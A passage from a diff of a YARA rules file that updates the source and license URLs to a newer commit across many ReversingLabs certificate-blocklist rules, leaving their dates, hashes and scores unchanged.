-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7786-L7804"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "03ac299459a1aaf2e4a2e62884cd321e16100fee78b4b0e271acdd8a4e32525c"
 		score = 75
 		quality = 90
@@ -11881,8 +11934,8 @@ rule REVERSINGLABS_Cert_Blocklist_A03Ea3A4Fa772B17037A0B80F1F968Aa : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7806-L7824"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7806-L7824"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e2044c6ddb80f3add13dfc3b623d0460ce8e9a66c5a98582f80d906edbbbd829"
 		score = 75
 		quality = 90
@@ -11906,8 +11959,8 @@ rule REVERSINGLABS_Cert_Blocklist_333Ca7D100B139B0D9C1A97Cb458E226 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7826-L7842"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7826-L7842"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b3a31a54132fd8ca2c11b7806503207a4197f16af78693387bac56879b5e1448"
 		score = 75
 		quality = 90
@@ -11931,8 +11984,8 @@ rule REVERSINGLABS_Cert_Blocklist_9245D1511923F541844Faa3C6Bfebcbe : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7844-L7862"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7844-L7862"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b965e897b42c39841e663cc144cf6e4a81fc9bcb64ce3a15a7ca021e95866b08"
 		score = 75
 		quality = 90
@@ -11956,8 +12009,8 @@ rule REVERSINGLABS_Cert_Blocklist_2888Cf0F953A4A3640Ee4Cfc6304D9D4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7864-L7880"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7864-L7880"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a9ee8534d89b8ac8705bb1777718513a28e4531ed398f482f46a72f2760af161"
 		score = 75
 		quality = 90
@@ -11981,8 +12034,8 @@ rule REVERSINGLABS_Cert_Blocklist_C8Edcfe8Be174C2F204D858C5B91Dea5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7882-L7900"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7882-L7900"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b3e6927abfce69548374bfd430a3ae3a1c5a8d05f0f40e43091b4d12025c5b1a"
 		score = 75
 		quality = 90
@@ -12006,8 +12059,8 @@ rule REVERSINGLABS_Cert_Blocklist_9Faf8705A3Eaef9340800Cc4Fd38597C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7902-L7920"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7902-L7920"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "66a340f169e401705ba229d2d4548cef1a57bf1d2d320b108d12b2049b063b92"
 		score = 75
 		quality = 90
@@ -12031,8 +12084,8 @@ rule REVERSINGLABS_Cert_Blocklist_0940Fa9A4080F35052B2077333769C2F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7922-L7938"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7922-L7938"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "45636ea33751fea61572539fe6f28bccd05df9b6b9e7f2d77bb738f7c69c53a2"
 		score = 75
 		quality = 90
@@ -12056,8 +12109,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ea720222D92Dc8D48E3B3C3B0Fc360A6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7940-L7958"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7940-L7958"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c60e1ccf178f03f930a3bc41e9a92be20df0362f067ed1fcfc7c93627a056d75"
 		score = 75
 		quality = 90
@@ -12081,8 +12134,8 @@ rule REVERSINGLABS_Cert_Blocklist_4743E140C05B33F0449023946Bd05Acb : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7960-L7976"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7960-L7976"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "69ce1512d7df4926ee2b470b18fbe51a2aa81e07b37b2536617d6353045e0d19"
 		score = 75
 		quality = 90
@@ -12106,8 +12159,8 @@ rule REVERSINGLABS_Cert_Blocklist_A496Bc774575C31Abec861B68C36Dcb6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7978-L7996"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7978-L7996"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f82214f982c9972e547f77966c44e935e9de701cc9108ceca34a4fede850d243"
 		score = 75
 		quality = 90
@@ -12131,8 +12184,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A55C15F733Bf1633E9Ffae8A6E3B37D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7998-L8014"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7998-L8014"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "89ca9f1c5cf0b029748528d8c5bb65f89ee05877bfdc13b4ce3d2d3e7feafb5d"
 		score = 75
 		quality = 90
@@ -12156,8 +12209,8 @@ rule REVERSINGLABS_Cert_Blocklist_C650Ae531100A91389A7F030228B3095 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8016-L8034"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8016-L8034"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "186b66283491cfebcaade57b1010ce4304c08ddb131153984210c2c7025961aa"
 		score = 75
 		quality = 90
@@ -12181,8 +12234,8 @@ rule REVERSINGLABS_Cert_Blocklist_3990362C34015Ce4C23Ecc3377Fd3C06 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8036-L8052"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8036-L8052"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0625800fcb166b56cab2e16d0d757983a6f880b68627ed8c3c38419dd9a32999"
 		score = 75
 		quality = 90
@@ -12206,8 +12259,8 @@ rule REVERSINGLABS_Cert_Blocklist_121Fca3Cfa4Bd011669F5Cc4E053Aa3F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8054-L8070"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8054-L8070"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1edd5be3f970202be15080cd7ef19c0cce7fcba73cb6120d7cb7d518e877cf85"
 		score = 75
 		quality = 90
@@ -12231,8 +12284,8 @@ rule REVERSINGLABS_Cert_Blocklist_D338F8A490E37E6C2Be80A0E349929Fa : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8072-L8090"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8072-L8090"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "39d9695803e96508b5ad12a7d9f8b65d13288dbe94b21a4952e096dd576e11ce"
 		score = 75
 		quality = 90
@@ -12256,8 +12309,8 @@ rule REVERSINGLABS_Cert_Blocklist_2C1Ee9B583310B5E34A1Ee6945A34B26 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8092-L8108"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8092-L8108"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7752e49e8848863d78c5de03c3d194498765d80da00a84c5164c7a9010d13474"
 		score = 75
 		quality = 90
@@ -12281,8 +12334,8 @@ rule REVERSINGLABS_Cert_Blocklist_D875B3E3F2Db6C3Eb426E24946066111 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8110-L8128"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8110-L8128"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9e181271d46c828b9ec266331e077b3b4891a193c71173447da383fad91ae878"
 		score = 75
 		quality = 90
@@ -12306,8 +12359,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ad0A958Cdf188Bed43154A54Bf23Afba : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8130-L8148"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8130-L8148"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "07e53e59f90aa3cd3a98dbca2627672606f6c6f8f3bda8456e32122463729c4b"
 		score = 75
 		quality = 90
@@ -12331,8 +12384,8 @@ rule REVERSINGLABS_Cert_Blocklist_3Cee26C125B8C188F316C3Fa78D9C2F1 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8150-L8166"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8150-L8166"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5c64f8e40c31822ce8d2e34f96ccc977085e429f0c068a5f6b44099117837de1"
 		score = 75
 		quality = 90
@@ -12356,8 +12409,8 @@ rule REVERSINGLABS_Cert_Blocklist_4C687A0022C36F89E253F91D1F6954E2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8168-L8184"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8168-L8184"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "287c0c7a25e33e0e7def6efa23dbd2efba7c4ac3aa8f5deb8568a60a95e08bbe"
 		score = 75
 		quality = 90
@@ -12381,8 +12434,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ca646B4275406Df639Cf603756F63D77 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8186-L8204"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8186-L8204"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a690e3f6a656835984e47d999271fe441a5fbf424208da8d5b3c9ddcef47b70e"
 		score = 75
 		quality = 90
@@ -12406,8 +12459,8 @@ rule REVERSINGLABS_Cert_Blocklist_Addbec454B5479Cabd940A72Df4500Af : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8206-L8224"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8206-L8224"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "799629791646c524d170b900339b87474aed73b7156a8c4dd20f7c13cbe97929"
 		score = 75
 		quality = 90
@@ -12431,8 +12484,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ac307E5257Bb814B818D3633B630326F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8226-L8244"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8226-L8244"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "10819bd2194fface6db812f8c6770c306c183386d2d9ba97467a5b55fd997194"
 		score = 75
 		quality = 90
@@ -12456,8 +12509,8 @@ rule REVERSINGLABS_Cert_Blocklist_0D83E7F47189Cdbfc7Fa3E5F58882329 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8246-L8262"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8246-L8262"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b344f9fd6d8378b7d77a34b14c5f37eea253f3d13a8eb0777925f195fb3cf502"
 		score = 75
 		quality = 90
@@ -12481,8 +12534,8 @@ rule REVERSINGLABS_Cert_Blocklist_58Aa64564A50E8B2D6E31D5Cd6250Fde : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8264-L8280"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8264-L8280"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f6b50ebf707b67650fe832d81c6fe8d2411cd83432ef94432d181db0c29aa48b"
 		score = 75
 		quality = 90
@@ -12506,8 +12559,8 @@ rule REVERSINGLABS_Cert_Blocklist_2Aa0Ae245B487C8926C88Ee6D736D1Ca : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8282-L8298"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8282-L8298"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5a362175600552983ae838ca18aa378dc748b8b68bd8b67a9387794d983ed1a2"
 		score = 75
 		quality = 90
@@ -12531,8 +12584,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Aec3D3F752A38617C1D7A677D0B5591 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8300-L8316"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8300-L8316"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b299833a19944ca6943ba9c974ec95369c57cd61acc8b2e1b5310edd077762c2"
 		score = 75
 		quality = 90
@@ -12556,8 +12609,8 @@ rule REVERSINGLABS_Cert_Blocklist_A7E1Dc5352C3852C5523030F57F2425C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8318-L8336"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8318-L8336"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "79c42c9a4eeeb69a62a16590e2b0b63818785509a40d543c7efe27ec6baaa19e"
 		score = 75
 		quality = 90
@@ -12581,8 +12634,8 @@ rule REVERSINGLABS_Cert_Blocklist_Bbd4Dc3768A51Aa2B3059C1Bad569276 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8338-L8356"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8338-L8356"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f336570834e0663c6e589fa22b3541f4f79c40ff945dd91f1fd1258a96adeceb"
